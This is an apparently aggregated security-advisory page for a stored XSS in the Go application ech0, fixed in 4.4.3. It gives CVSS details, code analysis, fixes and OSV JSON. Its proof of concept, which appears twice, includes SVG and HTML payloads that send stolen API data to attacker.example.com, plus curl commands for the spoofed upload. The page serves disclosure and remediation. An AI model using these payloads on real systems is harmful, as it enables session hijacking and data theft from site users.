GHSA-69hx-63pv-f8f4: Github.com/lin snow/ech0 Cross-Site Scripting Vulnerability

MODERATE
CVSS 4.8
CWE-434
Published
Advisory Summary

GHSA-69hx-63pv-f8f4 is a MODERATE (CVSS 4.8) cross-site scripting vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting Github.com/lin snow/ech0 libraries in the Go ecosystem. The issue involves ech0 has stored xss via svg upload and content-type validation bypass in file upload. Remediation is available by upgrading affected packages to version 4.4.3.

GHSA-69hx-63pv-f8f4 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-69hx-63pv-f8f4
Severity MODERATE
CVSS v3.1 Base Score 4.8
CWE Classification CWE-434: Unrestricted Upload of File with Dangerous Type
Affected Product Github.com/lin snow/ech0
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 4.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-69hx-63pv-f8f4

To remediate this vulnerability, upgrade all affected Github.com/lin snow/ech0 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lin-snow/ech0 fixed: 4.4.3
Upgrade github.com/lin-snow/ech0 to 4.4.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lin-snow/ech0

How to Check if You Are Affected

To determine whether your application is affected by GHSA-69hx-63pv-f8f4, inspect your project dependencies for Github.com/lin snow/ech0:

inspect dependencies for github.com/lin-snow/ech0

Analyze the terminal output to locate any version of Github.com/lin snow/ech0 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.4.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In Github.com/lin snow/ech0, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, `image/svg+xml` is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing. ## Details The upload handler at `internal/service/file/file.go:85-87` validates file type using only the multipart `Content-Type` header: ```go contentType := file.Header.Get("Content-Type") // client-controlled if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) { return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED) } ``` `isAllowedType` at `file.go:836-843` performs exact string matching — no magic byte detection, no extension validation: ```go func isAllowedType(contentType string, allowedTypes []string) bool { for _, allowed := range allowedTypes { if contentType == allowed { return true } } return false } ``` The original file extension is preserved in the storage key by `RandomKeyGenerator` at `internal/storage/keygen.go:41`: ```go ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename))) ``` All locally stored files are served publicly without authentication at `internal/router/modules.go:51`: ```go ctx.Engine.Static("api/files", root) ``` This `gin.Static` call is registered directly on the engine, outside any authentication middleware group. Go's `http.ServeFile` (used internally by `gin.Static`) determines the response `Content-Type` using `mime.TypeByExtension`, so `.html` files are served as `text/html` and `.svg` files as `image/svg+xml`. No `X-Content-Type-Options: nosniff` or `Content-Security-Policy` headers are set (verified in `internal/router/middleware.go`). **Variant 1 — SVG XSS (no spoofing needed):** `image/svg+xml` is in the default `AllowedTypes` at `internal/config/config.go:241`. SVG files can contain `<script>` tags and event handlers. The VireFS schema routes `.svg` to `images/` (`internal/storage/schema.go:10`). Uploaded SVGs are publicly accessible at `/api/files/images/<key>.svg` and JavaScript within them executes in the application's origin. **Variant 2 — Content-Type spoofing:** Upload an `.html` file with a forged multipart `Content-Type: image/jpeg`. The allowlist check passes (image/jpeg is allowed). The `.html` extension is preserved. The VireFS schema routes unknown extensions to `files/` (`schema.go:14`). The file is served at `/api/files/files/<key>.html` as `text/html`. ## PoC **Variant 1 — SVG XSS (simplest, default config):** ```bash # 1. Create SVG with embedded JavaScript cat > evil.svg << 'SVGEOF' <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"> <script> // Steal cookies and redirect to attacker fetch('/api/echo/page') .then(r => r.json()) .then(d => { new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d)); }); </script> <circle cx="50" cy="50" r="40" fill="red"/> </svg> SVGEOF # 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed) curl -X POST http://target:1024/api/files/upload \ -H 'Authorization: Bearer <admin-jwt>' \ -F 'file=@evil.svg;type=image/svg+xml' \ -F 'category=image' \ -F 'storage_type=local' # Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg # 3. Access without authentication — JavaScript executes in application origin: # GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg ``` **Variant 2 — Content-Type bypass with HTML:** ```bash # 1. Create HTML with JavaScript cat > evil.html << 'HTMLEOF' <html><body> <script> document.write('<h1>XSS in ' + document.domain + '</h1>'); // Exfiltrate data from same-origin API fetch('/api/echo/page').then(r=>r.json()).then(d=>{ new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d)); }); </script> </body></html> HTMLEOF # 2. Upload with spoofed Content-Type curl -X POST http://target:1024/api/files/upload \ -H 'Authorization: Bearer <admin-jwt>' \ -F 'file=@evil.html;type=image/jpeg' \ -F 'category=image' \ -F 'storage_type=local' # 3. Access without authentication — renders as text/html: # GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html ``` ## Impact - **Stored XSS in the application origin**: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly. - **Session hijacking**: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens. - **Persistent backdoor**: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated. - **Data exfiltration**: JavaScript running in the application origin can call internal API endpoints (e.g., `/api/echo/page`) and exfiltrate application data. - **Social engineering vector**: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised. The admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise. ## Recommended Fix **1. Validate Content-Type server-side using magic bytes** (`internal/service/file/file.go`): ```go import "net/http" // Replace client-controlled Content-Type with server-detected type func detectContentType(file multipart.File) (string, error) { buf := make([]byte, 512) n, err := file.Read(buf) if err != nil && err != io.EOF { return "", err } if _, err := file.Seek(0, io.SeekStart); err != nil { return "", err } return http.DetectContentType(buf[:n]), nil } ``` **2. Remove `image/svg+xml` from default AllowedTypes** or sanitize SVGs to strip `<script>` tags and event handlers before storage. **3. Add security headers** in `internal/router/middleware.go`: ```go func SecurityHeaders() gin.HandlerFunc { return func(c *gin.Context) { c.Header("X-Content-Type-Options", "nosniff") c.Header("Content-Security-Policy", "default-src 'self'; script-src 'self'") c.Next() } } ``` **4. Serve uploaded files with `Content-Disposition: attachment`** or from a separate origin/subdomain to isolate them from the application's cookie scope.

GHSA-69hx-63pv-f8f4 Affected Github.com/lin snow/ech0 Versions

1 component(s)
Fixed Versions:
4.4.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lin-snow/ech0
Go
< 4.4.3
4.4.3

References

Frequently Asked Questions

What is GHSA-69hx-63pv-f8f4?
GHSA-69hx-63pv-f8f4 is a security vulnerability in Github.com/lin snow/ech0 involving Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload under CWE-434: Unrestricted Upload of File with Dangerous Type.
Which Github.com/lin snow/ech0 versions are affected?
Affected versions include releases prior to 4.4.3 across affected packages: github.com/lin-snow/ech0.
What version fixes GHSA-69hx-63pv-f8f4?
Upgrading to 4.4.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lin-snow/ech0 affected?
Yes, github.com/lin-snow/ech0 is affected in releases prior to 4.4.3. Upgrade your dependency to 4.4.3 or later.
What is the CVSS score of GHSA-69hx-63pv-f8f4?
GHSA-69hx-63pv-f8f4 has a CVSS v3.1 base score of 4.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with GHSA-69hx-63pv-f8f4?
GHSA-69hx-63pv-f8f4 is classified under CWE-434: Unrestricted Upload of File with Dangerous Type (The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.).
How can I check Go dependencies for GHSA-69hx-63pv-f8f4?
Run the dependency tree command: 'inspect dependencies for github.com/lin-snow/ech0'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-69hx-63pv-f8f4",
  "modified" : "2026-04-10T19:50:01Z",
  "published" : "2026-04-10T19:50:01Z",
  "aliases" : [ ],
  "summary" : "Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload",
  "details" : "## Summary\n\nThe file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, `image/svg+xml` is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.\n\n## Details\n\nThe upload handler at `internal/service/file/file.go:85-87` validates file type using only the multipart `Content-Type` header:\n\n```go\ncontentType := file.Header.Get(\"Content-Type\") // client-controlled\nif !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {\n    return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)\n}\n```\n\n`isAllowedType` at `file.go:836-843` performs exact string matching — no magic byte detection, no extension validation:\n\n```go\nfunc isAllowedType(contentType string, allowedTypes []string) bool {\n    for _, allowed := range allowedTypes {\n        if contentType == allowed {\n            return true\n        }\n    }\n    return false\n}\n```\n\nThe original file extension is preserved in the storage key by `RandomKeyGenerator` at `internal/storage/keygen.go:41`:\n\n```go\next := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))\n```\n\nAll locally stored files are served publicly without authentication at `internal/router/modules.go:51`:\n\n```go\nctx.Engine.Static(\"api/files\", root)\n```\n\nThis `gin.Static` call is registered directly on the engine, outside any authentication middleware group. Go's `http.ServeFile` (used internally by `gin.Static`) determines the response `Content-Type` using `mime.TypeByExtension`, so `.html` files are served as `text/html` and `.svg` files as `image/svg+xml`.\n\nNo `X-Content-Type-Options: nosniff` or `Content-Security-Policy` headers are set (verified in `internal/router/middleware.go`).\n\n**Variant 1 — SVG XSS (no spoofing needed):** `image/svg+xml` is in the default `AllowedTypes` at `internal/config/config.go:241`. SVG files can contain `<script>` tags and event handlers. The VireFS schema routes `.svg` to `images/` (`internal/storage/schema.go:10`). Uploaded SVGs are publicly accessible at `/api/files/images/<key>.svg` and JavaScript within them executes in the application's origin.\n\n**Variant 2 — Content-Type spoofing:** Upload an `.html` file with a forged multipart `Content-Type: image/jpeg`. The allowlist check passes (image/jpeg is allowed). The `.html` extension is preserved. The VireFS schema routes unknown extensions to `files/` (`schema.go:14`). The file is served at `/api/files/files/<key>.html` as `text/html`.\n\n## PoC\n\n**Variant 1 — SVG XSS (simplest, default config):**\n\n```bash\n# 1. Create SVG with embedded JavaScript\ncat > evil.svg << 'SVGEOF'\n<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 100 100\">\n  <script>\n    // Steal cookies and redirect to attacker\n    fetch('/api/echo/page')\n      .then(r => r.json())\n      .then(d => {\n        new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));\n      });\n  </script>\n  <circle cx=\"50\" cy=\"50\" r=\"40\" fill=\"red\"/>\n</svg>\nSVGEOF\n\n# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)\ncurl -X POST http://target:1024/api/files/upload \\\n  -H 'Authorization: Bearer <admin-jwt>' \\\n  -F 'file=@evil.svg;type=image/svg+xml' \\\n  -F 'category=image' \\\n  -F 'storage_type=local'\n\n# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg\n# 3. Access without authentication — JavaScript executes in application origin:\n# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg\n```\n\n**Variant 2 — Content-Type bypass with HTML:**\n\n```bash\n# 1. Create HTML with JavaScript\ncat > evil.html << 'HTMLEOF'\n<html><body>\n<script>\n  document.write('<h1>XSS in ' + document.domain + '</h1>');\n  // Exfiltrate data from same-origin API\n  fetch('/api/echo/page').then(r=>r.json()).then(d=>{\n    new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d));\n  });\n</script>\n</body></html>\nHTMLEOF\n\n# 2. Upload with spoofed Content-Type\ncurl -X POST http://target:1024/api/files/upload \\\n  -H 'Authorization: Bearer <admin-jwt>' \\\n  -F 'file=@evil.html;type=image/jpeg' \\\n  -F 'category=image' \\\n  -F 'storage_type=local'\n\n# 3. Access without authentication — renders as text/html:\n# GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html\n```\n\n## Impact\n\n- **Stored XSS in the application origin**: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly.\n- **Session hijacking**: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens.\n- **Persistent backdoor**: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated.\n- **Data exfiltration**: JavaScript running in the application origin can call internal API endpoints (e.g., `/api/echo/page`) and exfiltrate application data.\n- **Social engineering vector**: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised.\n\nThe admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.\n\n## Recommended Fix\n\n**1. Validate Content-Type server-side using magic bytes** (`internal/service/file/file.go`):\n\n```go\nimport \"net/http\"\n\n// Replace client-controlled Content-Type with server-detected type\nfunc detectContentType(file multipart.File) (string, error) {\n    buf := make([]byte, 512)\n    n, err := file.Read(buf)\n    if err != nil && err != io.EOF {\n        return \"\", err\n    }\n    if _, err := file.Seek(0, io.SeekStart); err != nil {\n        return \"\", err\n    }\n    return http.DetectContentType(buf[:n]), nil\n}\n```\n\n**2. Remove `image/svg+xml` from default AllowedTypes** or sanitize SVGs to strip `<script>` tags and event handlers before storage.\n\n**3. Add security headers** in `internal/router/middleware.go`:\n\n```go\nfunc SecurityHeaders() gin.HandlerFunc {\n    return func(c *gin.Context) {\n        c.Header(\"X-Content-Type-Options\", \"nosniff\")\n        c.Header(\"Content-Security-Policy\", \"default-src 'self'; script-src 'self'\")\n        c.Next()\n    }\n}\n```\n\n**4. Serve uploaded files with `Content-Disposition: attachment`** or from a separate origin/subdomain to isolate them from the application's cookie scope.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lin-snow/ech0"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.4.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lin-snow/Ech0/security/advisories/GHSA-69hx-63pv-f8f4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lin-snow/Ech0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lin-snow/Ech0/releases/tag/v4.4.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:50:01Z",
    "nvd_published_at" : null
  }
}